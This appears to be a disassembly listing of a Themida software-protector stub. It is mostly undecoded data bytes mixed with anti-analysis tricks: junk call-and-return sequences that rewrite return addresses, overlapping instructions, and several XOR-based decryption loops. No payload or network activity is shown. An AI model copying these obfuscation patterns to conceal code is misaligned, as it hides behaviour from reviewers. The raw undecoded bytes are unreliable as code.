		dd 4244481h, 1Ah, 0B6C35343h, 0F5AF94DAh, 858DF275h, 7E8BABBh
		dd 0C083F88Ah, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0DC1F0601h, 0FD9D2B46h
		dd 8907E417h, 0E4050DB5h, 0BB665007h, 489E09Ah,	0FE924h
		dd 628C0000h, 30227D90h, 2159806h, 0C4D1E365h, 0F006A89h
		dd 580h, 0CF816600h, 6A329Eh, 224DBD29h, 95FF07E4h, 7E42471h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B9C35646h
		dd 14B63847h, 0E3717E69h, 68D0Fh, 8D890000h, 7E421C9h
		dd 0D64B8D8Dh, 0F5607E7h, 0FF5FF8BFh, 0FDBD2BD1h, 6607E423h
		dd 9AEFDB81h, 2015BD83h, 0F0107E4h, 7185h, 1DBD8900h, 6A07E424h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BE9B8h,	697A0000h, 22BF7A14h, 9D8E62EAh
		dd 0EBB3504Ch, 0F5240489h, 0F21BD8Bh, 95FF07E4h, 7E431ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C9C35040h
		dd 0A51FA5A7h, 39F8BD87h, 2C219D89h, 54E907E4h,	0E800000Eh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E8BAC5h
		push	0
		push	ebx
		call	sub_5CDF62
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDF62	proc near		; CODE XREF: Themida_:005CDF5Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CDF62	endp

; ---------------------------------------------------------------------------
		xchg	bl, [ebx]
		push	0
		push	ebp
		call	sub_5CDF7F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDF7F	proc near		; CODE XREF: Themida_:005CDF77p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CDF7F	endp

; ---------------------------------------------------------------------------
		db 97h
		dd 9D8BEF48h, 7E41AF1h,	0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F3AFA2C3h
		dd 0C4DB0685h, 0EE8FBh,	0A9BA0000h, 0E294AF4Dh,	0F62DF557h
		dd 0E061939Eh, 0FD6CF781h, 0BF5F2429h, 9B0A799h, 52525050h
		dd 0F5BDA8Bh, 89585A31h, 0B70F2404h, 35FF64DAh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CE003
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE003	proc near		; CODE XREF: Themida_:005CDFFBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5CE003	endp

; ---------------------------------------------------------------------------
		db 6Eh
		dd 0DB37EC48h, 1E999D8Bh, 896407E4h, 25h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0F9C29E97h, 4C9B589h, 85FF07E4h, 7E420B9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 3DBD095Dh
		dd 6A07E41Bh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 765127DCh, 6F47F624h, 8783BBF6h
		dd 0B70F6741h, 0FDB5FFF9h, 8907E422h, 0E40A359Dh, 9D9D8B07h
		dd 0FF07E42Fh, 0E4304D95h, 131E907h, 870F0000h,	3, 0B0FAB70Fh
		dd 4D850100h, 0E607E42Ch, 9DBD2970h, 0E407E424h, 0F8BF0F71h
		dd 830F613Ch, 10Bh, 0FF88B66h, 0B60FFBB7h, 6820FC8h, 9000000h
		dd 0E404398Dh, 6BA07h, 0BD8B0000h, 7E40ADDh, 9D8BC18Bh
		dd 7E40DDDh, 8904E8C1h,	0E400959Dh, 0E2F76607h,	0C82BFD8Ah
		dd 2641B589h, 0D18B07E4h, 0E9DFB70Fh, 6, 799D8Bh, 858B07E4h
		dd 7E4240Dh, 17810Fh, 0EE80000h, 0C3000000h, 0ED427C28h
		dd 35B7EF97h, 0F05B2953h, 0BFD78032h, 199D315Bh, 8307E40Fh
		dd 0CE807C0h, 34000000h, 6B49077Fh, 4A1B426Ah, 0E905CBAFh
		dd 12h,	6C4D94F0h, 6102EF8h, 1EBF4678h,	268BC9A4h, 835F5D0Dh
		dd 13E900C0h, 0D2000000h, 0F860199Fh, 63621142h, 66E304F6h
		dd 201A48BCh, 0D03B1E48h, 11830Fh, 0CF810000h, 747A58ABh
		dd 3AE9h, 0C5BD8B00h, 8B07E424h, 0E41AC58Dh, 799D8B07h
		dd 8307E431h, 840F01E1h, 1Fh, 0C5A583F9h, 0FE07E41Ah, 26499D89h
		dd 958907E4h, 7E4240Dh,	226BCF81h, 0E93075h, 8D000000h
		dd 0E84199B5h, 0DE8B6607h, 95FF006Ah, 7E40E41h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3AC35646h, 0AAB9B848h
		dd 8B000008h, 0E415959Dh, 83D98B07h, 13E9FCE1h,	0E8000000h
		dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 6AFCCC70h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5E24C350h, 8B85661Ah, 0E41F8DBDh,	0B807h
		dd 0B70F0000h, 0BAFBh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A9896AC3h, 8D893E32h
		dd 7E42469h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	6ACBB7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F05CDC3h, 0F9B70F50h, 880D5Bh, 0BB660000h, 958B076Dh
		dd 7E41B71h, 0BA24F381h, 8D8B4E60h, 7E42DA1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C5C35747h, 0FDB59FDEh
		dd 6800Fh, 9D2B0000h, 7E429F1h,	0AE5CDF81h, 8B504E71h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h, 6A4B11h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C2A27EC3h, 0D17EC9F1h, 0E781EB59h, 165E6EBBh, 1BEDBD03h
		dd 0BD8307E4h, 7E40611h, 76840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 6756C351h, 2F85F280h, 0D59D8BAFh, 0B807E40Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CE3C3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE3C3	proc near		; CODE XREF: Themida_:005CE3BBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5CE3C3	endp

; ---------------------------------------------------------------------------
		db 8
; ---------------------------------------------------------------------------
		xchg	eax, edi
		pusha
		xchg	eax, esi
		adc	[ecx-1BDB2A6Bh], cl
		pop	es
		lea	ecx, [ebp+7E44FE7h]
		mov	edi, [ebp+7E402ADh]
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_5CE401
; ---------------------------------------------------------------------------
		db 15h,	0B3h, 92h
		dd 0B8DFBC2Bh, 589F8B50h, 0A0B7F46Dh
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_5CE401:				; CODE XREF: Themida_:005CE3ECj
		cmp	dword ptr [ebp+7E422B9h], 0
		jz	loc_5CE869
		add	[ebp+7E4126Dh],	edi
		cmp	dword ptr [ebp+7E422B9h], 1
		jz	loc_5CE884
		push	0
		push	ebx
		call	sub_5CE42C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE42C	proc near		; CODE XREF: Themida_:005CE424p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CE42C	endp

; ---------------------------------------------------------------------------
		enter	34C0h, 0B6h
		sub	[ecx], bl
		sub	edi, [ebp-62F4534Ch]
		sbb	eax, 6607E406h
		mov	edi, esi
		cmp	dword ptr [ebp+7E422B9h], 3
		jbe	loc_5CE84E
		call	sub_5CE46A
		dec	ebx
		pop	ebx
		cli
		mov	edi, [ecx-1Eh]
		retf	0CBBEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CE46A	proc near		; CODE XREF: Themida_:005CE45Cp
		jmp	sub_5CE478
sub_5CE46A	endp

; ---------------------------------------------------------------------------
		db 67h
		dd 4729E77Eh, 93AFC2A8h

; =============== S U B	R O U T	I N E =======================================



sub_5CE478	proc near		; CODE XREF: sub_5CE46Aj

; FUNCTION CHUNK AT 005CE59D SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005CE5E1 SIZE 00000013 BYTES

		pop	edi
		pusha
		mov	ebx, [ebp+7E415F9h]
		mov	cx, ds
		mov	bh, 1
		and	cl, 4
		ja	loc_5CE494
		mov	[ebp+7E42B55h],	ebx


loc_5CE494:				; CODE XREF: sub_5CE478+10j
		mov	[ebp+7E42EB5h],	ebx
		or	cl, cl
		jz	loc_5CE59D
		mov	di, ax
		mov	eax, [ebp+7E40651h]
		push	0
		push	ecx
		call	sub_5CE4B6
		and	[ecx-3Dh], bl
sub_5CE478	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CE4B6	proc near		; CODE XREF: sub_5CE478+36p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CE4B6	endp

; ---------------------------------------------------------------------------
		les	ecx, [ebx-1BF68263h]
		pop	es
		xor	eax, [ebp+7E42029h]
		jg	loc_5CE4DF
		mov	edi, [ebp+7E42B3Dh]


loc_5CE4DF:				; CODE XREF: Themida_:005CE4D3j
		nop
		mov	bx, 2434h
		push	eax
		jz	loc_5CE4F5
		pusha
		mov	si, di
		mov	ecx, 2E510D6Eh
		popa


loc_5CE4F5:				; CODE XREF: Themida_:005CE4E5j
		nop
		mov	ebx, 60B5AF27h
		push	0
		push	0
		push	edx
		call	sub_5CE508
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE508	proc near		; CODE XREF: Themida_:005CE500p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5CE508	endp

; ---------------------------------------------------------------------------
		dd 754D3FE9h, 8596DF3Ah, 20CB8166h, 6C296837h, 48B7DB29h
		dd 0D6240481h, 6A24F597h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0C1E9C352h,	317B9C3Bh
		dd 8BDFBF0Fh, 0E408CD9Dh, 9995FF07h, 0F907E42Dh, 0F8A58589h
		dd 0B58907E7h, 7E42629h, 24EE9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 8C2EDC87h
		dd 89E8BC06h, 0E41CA185h
; ---------------------------------------------------------------------------
		pop	es
; START	OF FUNCTION CHUNK FOR sub_5CE478


loc_5CE59D:				; CODE XREF: sub_5CE478+24j
		mov	eax, [ebp+7E7F89Dh]
		mov	ebx, [ebp+7E42449h]
		mov	dword ptr [eax], 18h
		js	loc_5CE5C3
		pusha
		jbe	$+6
		jle	$+6
		popa


loc_5CE5C3:				; CODE XREF: sub_5CE478+137j
		mov	esi, [ebp+7E7F8A1h]
		jmp	loc_5CE5E1
; END OF FUNCTION CHUNK	FOR sub_5CE478
; ---------------------------------------------------------------------------
		dw 0CE07h
; ---------------------------------------------------------------------------
		inc	eax
		sub	bl, dh
		sub	al, 7Eh
		pop	esi
		dec	esp
		das
		or	al, 7
		dec	esp
		xchg	ah, [edx-5C361306h]
; START	OF FUNCTION CHUNK FOR sub_5CE478


loc_5CE5E1:				; CODE XREF: sub_5CE478+151j
		mov	ebx, edi
		mov	eax, [ebp+7E40099h]
		push	0
		push	edi
		call	sub_5CE5F4
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5CE478

; =============== S U B	R O U T	I N E =======================================



sub_5CE5F4	proc near		; CODE XREF: sub_5CE478+174p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CE5F4	endp

; ---------------------------------------------------------------------------
		dd 9D8B04CEh, 7E40AF5h,	2409BD8Bh, 68907E4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E1C35646h, 9D8BE9A5h
		dd 7E42525h, 651858Bh, 852907E4h, 7E42299h, 1CA98D89h
		dd 468907E4h, 0DD8D8904h, 5007E426h, 10E8h, 1AC5F400h
		dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E9525078h,	9, 0B1F676E3h
		dd 0CD22884Ch, 8B310FEBh, 5B585AFEh, 6A243489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 9B7C357h, 2D9A06C2h,	0B2993FD5h, 0FFFE8B66h,	0E7F89DB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 40BC1E47h, 1BC99D0Bh, 8B6607E4h,	8E7668DFh
		dd 0F601B58h, 289h, 0E9616000h,	0Dh, 80864A00h,	0D7AAE69Bh
		dd 7FA85A3Bh, 3481616Bh, 478D8924h, 6890F1Bh, 89000000h
		dd 0E41D6185h, 307ABF07h, 858D0A00h, 7E7F8A5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h, 89B4DF68h
		dd 0E41BB59Dh, 50509007h, 0AE852h, 78E80000h, 120F4648h
		dd 30E94C40h, 7CEEBF66h, 50310F5Bh, 0CE852h, 8A0E0000h
		dd 0CCF348DBh, 0FDE3F1FCh, 0F5BFE55h, 5A585A31h, 6A9058h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 889E5DC3h, 2D9995FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD8BBCC3h, 7E40139h
		dd 0C1CF8057h, 81BD895Fh, 6107E423h, 1435BD89h,	85C707E4h
		dd 7E422B9h, 3,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	59C35242h, 8E303A3Ch, 1B8C1903h, 0AE9h,	0DCE5FA00h
		dd 17F36104h, 838DAA94h, 0E7F8A5BDh, 840F0007h,	3Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E8C35646h, 2634B0FEh
		dd 31FD36A0h, 0E40B8D95h, 27E907h, 9D8B0000h, 7E4074Dh
		dd 0D49FDF81h
		db 16h,	23h
; ---------------------------------------------------------------------------


loc_5CE84E:				; CODE XREF: Themida_:005CE456j
					; Themida_:005CE865j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE84E
		jmp	short loc_5CE89F
; ---------------------------------------------------------------------------


loc_5CE869:				; CODE XREF: Themida_:005CE408j
					; Themida_:005CE880j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CE869
		jmp	short loc_5CE89F
; ---------------------------------------------------------------------------


loc_5CE884:				; CODE XREF: Themida_:005CE41Bj
					; Themida_:005CE89Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CE884
		jmp	short $+2


loc_5CE89F:				; CODE XREF: Themida_:005CE867j
					; Themida_:005CE882j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CE8AC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE8AC	proc near		; CODE XREF: Themida_:005CE8A4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CE8AC	endp

; ---------------------------------------------------------------------------
		dd 891FA1D1h, 0E42FF5B5h, 59BD0307h, 8307E42Ah,	0E422B9BDh
		dd 850F0307h, 487h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 59C35646h, 0E6A1A6h, 0AA80E781h, 0BD8B7028h
		dd 7E40DE5h, 0F8A5BD83h, 0F0007E7h, 44E84h, 12E900h, 82370000h
		dd 0F03D010Dh, 6BD4B504h, 1C6792D7h, 0E3F30DB4h, 6ED5D3BFh
		dd 0A5B5FF21h, 0FF07E7F8h, 0E4044D95h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BD8BFFA1h, 7E4355Dh, 0F899B58Bh, 9D8B07E7h,	7E41F49h
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 2E3588C3h, 0A377C54Bh, 66CDFB92h
		dd 6650FB8Bh, 897CD2BBh, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0E3A099C3h, 0A5B5FF62h
		dd 8A07E7F8h, 995FFFEh,	6A07E42Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E98FC351h
		dd 8B867521h, 99B58BFBh, 6A07E7F8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 9CA3C355h
		dd 0EDAF7C43h, 0F57B6E2h, 688h,	0F9BD8B00h, 5B07E41Eh
		dd 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0FBD2D2C3h, 8B7FE00Dh, 0E401A5BDh
		dd 0C4868907h, 8B000000h, 0E433219Dh, 71958B07h, 6A07E41Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2CACC350h, 0C53B7881h, 0EDB531E7h, 8307E40Dh
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0DA2134C3h, 43D7A225h, 619D8BC9h,	8907E41Ch
		dd 95292050h, 7E40B51h,	0CD4858Dh, 6A07E8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0AE40A4C3h
		dd 0F1D9059Fh, 0FA49C36h, 683h,	0BD858900h, 0E907E415h
		dd 0Eh,	7C13A17Dh, 9984321Fh, 0DCDE7079h, 9509CDD7h, 7E403E1h
		dd 0B88689h, 9E90000h, 28000000h, 28C2A3E7h, 441502E5h
		dd 0FFF8006Ah, 0E7F8A5B5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 82B89136h
		dd 89751DB8h, 0E4303595h, 0AD95FF07h, 0F07E431h, 988h
		dd 3890F00h, 66000000h,	0BB50DF8Bh, 3A4BBAAEh, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C010C355h, 0D99D8B2Ch, 0FF07E42Eh, 0E7F8A5B5h
		dd 119D3107h, 0FF07E40Ah, 0E41B1195h, 68E0F07h,	89000000h
		dd 0E41EF18Dh, 0F9BD8307h, 7E40Dh, 4E840Fh, 50960000h
		dd 50525052h, 5A310F52h, 60310F58h, 0F585A61h, 0F525031h
		dd 5A46B731h, 50585A58h, 0BE8h,	0C79F6000h, 3B922FCh, 0A4C20772h
		dd 13850Fh, 0DE80000h, 6D000000h, 0F72E69E4h, 97B38893h
		dd 439E6665h, 66965F5Fh, 2A0FD781h, 0F8A5B5FFh,	6A07E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E6A774C3h, 27D95FFh, 820F07E4h, 0Eh, 3DB58960h, 0F07E416h
		dd 8Dh,	0B5FF6100h, 7E7F8A5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 4EC35343h, 0CF239854h, 6FE9D5DFh
		dd 1C8E0Fh, 830F0000h, 16h, 10E8h, 8AE67B00h, 0B99C4123h
		dd 0A2B32535h, 0EE7C74E5h, 0EF815B3Ah, 7C5EDA7Bh, 17F1BD8Bh
		dd 95FF07E4h, 7E40971h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 4AC35141h, 1B0E560Fh,	24481636h, 0AD25BB90h
		dd 0BD832863h, 7E40A21h, 47840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EB1CC355h, 89F6500Dh, 0E425B5BDh, 0B5858B07h, 0F07E41Eh
		dd 282h, 0C6DD8A00h, 0BE90000h,	0B000000h, 572551D4h, 0EA2990CEh
		dd 85C74CA7h, 7E42671h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CED3F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CED3F	proc near		; CODE XREF: Themida_:005CED37p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CED3F	endp

; ---------------------------------------------------------------------------
		db 0B1h
		dd 4976EC99h, 0D634A074h, 0D1BD01A4h, 0E907E418h, 0FFFFF30Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h
		dd 0BD8B95CFh, 7E4249Dh, 10E9C18Bh, 1A000000h, 2015C6C1h
		dd 8FFB44FDh, 0B6536CAEh, 8DEA1E8Dh, 0E40D8585h, 8B669007h
		dd 0CE850DEh, 0BC000000h, 5FE6362Bh, 51BB75D4h,	0E964BC22h
		dd 14h,	0BB4128CEh, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h
		dd 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E91AB2C3h, 0Dh, 19EFF9AFh, 5F2C6250h, 87073DAh
		dd 6A006AD7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4F83C350h, 10E93981h, 87000000h
		dd 3E622A3h, 93E2B8F1h,	4461CFC5h, 6ABD8D6Fh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2FCDBE74h, 0E09B0A27h, 8166D93Dh, 8DFC06F3h,	0E8CB7D85h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B3539721h, 2E4DCF81h, 852931FFh, 7E406F1h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 30ABC350h, 95895729h, 7E40091h
		dd 0FE95Fh, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h
		dd 0DE8B9055h, 9007B350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 8AC35747h, 0F4C015Ah,	0B70FDEB7h, 6A006AD9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 159D8B7Ah, 0FF07E418h, 0E4247195h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F780D260h, 4B8D8DFAh, 0F07E7D6h, 80h, 7E900h, 0BEDF0000h
		dd 0A7B98E06h, 29D1FF55h, 0E41D4195h, 15BD8307h, 107E420h
		dd 8E850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F00C9C3h, 388h,	0FABF0F00h, 0E860Fh
		dd 9E90000h, 48000000h,	0ABB0DB52h, 82C006A8h, 0BF60026Ah
		dd 2BBB59D5h, 0D74FBB66h, 0BB669061h, 0BB5081DDh, 1E0812Fh
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89ED109Bh, 0E419D9BDh, 6E907h, 952B0000h
		dd 4CE56A84h, 31AD95FFh, 8D8907E4h, 7E41BB5h, 0E55E9h
		dd 0E800h, 815D0000h, 0E8CB87EDh, 81BF6607h, 55006ACFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C25243Bh, 5CBA9A35h, 18798D89h, 858D07E4h, 7E7C6E1h
		dd 8B666050h, 48961C3h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0E1E74670h, 0FB8BC13Eh
		dd 12E9h, 371E9000h, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h
		dd 6435038Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 81B50AC3h, 7C9806D3h
		dd 25896466h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CF0CB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF0CB	proc near		; CODE XREF: Themida_:005CF0C3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CF0CB	endp

; ---------------------------------------------------------------------------
		db 21h
		dd 57875F4Fh, 35593300h, 0B985FFC5h, 6A07E420h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 27BCC351h, 0C3EBCA71h, 0AA99C772h, 25459D8Bh, 0FF6A07E4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4CC35141h
		dd 942BCAB1h, 6C7274BFh, 81B5FF40h, 6A07E415h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F5A6C356h, 304D95FFh, 1EE907E4h, 0F000001h,	58Ah, 0E3816600h
		dd 0B04067h, 14D58529h,	70E607E4h, 7C80BB50h, 0E45F5F33h
		dd 85896071h, 7E42341h,	295537BBh, 613C6143h, 0EB830Fh
		dd 0EF810000h, 5843C16Ah, 0B3C8B60Fh, 6BA77h, 8BFC0000h
		dd 0FEB70FC1h, 0E804E8C1h, 8, 0BE740B3h, 9E363387h, 80E3805Fh
		dd 0E8E2F766h, 13h, 4A5490E3h, 0AACAD6A2h, 21366CE3h, 0BFE5AF44h
		dd 0E8C70BA7h, 0Ah, 3EBC7C42h, 8D0AE9F6h, 9D89FD2Ah, 7E416A9h
		dd 0C82B5B5Bh, 6653D18Bh, 5F5276BFh, 7298531h, 0BE907E4h
		dd 0F000000h, 586h, 8133BB00h, 858B0730h, 7E40F29h, 0C083FB8Bh
		dd 0C5BD8907h, 8307E402h, 958900C0h, 7E41C7Dh, 830FD03Bh
		dd 18h,	4D99D8Bh, 42E907E4h, 66000000h,	8B60DA8Bh, 0E4029D95h
		dd 61585307h, 6FD8D8Bh,	0BF0F07E4h, 58D89FAh, 8307E415h
		dd 840F01E1h, 1Dh, 0E599589h, 0A58307E4h, 7E406FDh, 89FA8BFEh
		dd 0E40F2995h, 0FB8BFC07h, 0E9h, 29B58D00h, 6A07E84Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 7B51C357h, 5EABAE94h, 61BD8B17h, 6A07E40Bh
		dd 5D9D8B00h, 0FF07E41Ah, 0E40E4195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B6927433h, 1930BB0Eh, 26918D89h, 48B907E4h,	0E9000008h
		dd 13h,	0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h, 8309980Ah
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5E85FBC3h, 0BF0F0589h, 6AFCFAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3AA8EFC3h
		dd 1C084F94h, 4DB8166h,	0B870F16h, 60000000h, 8BD0BF0Fh
		dd 0E40679BDh, 0B86107h, 8B000000h, 0E40E459Dh,	0BA07h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0CA225FC3h, 31B322FEh, 0CF80DC36h, 0DE8B565Fh
